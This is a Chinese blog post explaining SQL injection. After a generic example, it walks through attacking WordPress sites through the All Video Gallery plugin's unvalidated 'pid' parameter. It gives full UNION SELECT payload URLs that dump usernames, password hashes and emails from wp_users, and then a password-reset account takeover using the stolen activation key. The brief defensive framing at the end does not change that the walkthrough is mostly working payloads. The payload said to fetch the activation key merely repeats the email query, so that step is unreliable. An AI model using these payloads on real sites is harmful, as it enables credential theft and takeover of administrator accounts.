///今天看到一篇关于SQL注入的文章,根据自己的思路整理一下,欢迎大神拍砖//

       我们了解一下SQL注入的原理:没有对页面参数进行非法字符进行校验是一大原因。

       特别是对于一些开源系统而言,数据库的结构都是总所周知的,还有就是地址栏后面的链接参数支持SQL子查询语句。

所以黑客就利用这些已经知道的字段和表名称编写攻击语句,然后通过在链接地址后面跟上这些语句来检索数据库中的信息,一般为用户名密码或者邮箱。因为密码一般都是加密的,所以比较多的是通过检索邮箱来重新设置密码。然后通过管理员的账号和密码入侵系统。

        如这个SQL语句

select * form custom_order where custom_id = {$_GET['customID']}

$_GET表示从客户端获取的参数。如果被人恶意该成

http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

按这样拼接的sql语句就成了

select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

这样获取到的就是数据库中的用户名和密码了。

 

接下来我们来通过一个注入式攻击wordpress开源博客系统来进行实例认识一下如何进行攻击的:

 WordPress的插件有很多,这里通过All video Gallery这个插件的漏洞来进行介绍。

这个插件有一个地址如下:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11

由于参数pid未进行特殊字符校验,且我们很容易知道wordpress系统的表名称是wp_users,存放用户名,密码和邮箱的字段分别是user_login,user_pass,user_email.

下面将用户信息表注入:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

这样我们就能够获取用户名和密码,但是密码是加密的,所以我们可以从获取邮箱入手,然后来重新设置密码的思路。

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

这样就能获取对应的邮箱账号。

然后通过忘记密码来输入注册的邮箱,获取激活码。但是我们拿不到激活码,不过没关系,我们可以通过相同的方法来获取激活码,对应的字段是user_activation_key.

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

有了激活码,就可以拼接出重设密码的链接
http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username

这样就差不多了。
 
希望大家能提高防范意识,加大防范措施。欢迎大神拍砖,更欢迎高手交流防范的实战方法。本文参考http://www.aqee.net/how-to-hack-a-wordpress-site-using-sql-injection/如有侵权,请联系我们,我们将第一时间处理。

 

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐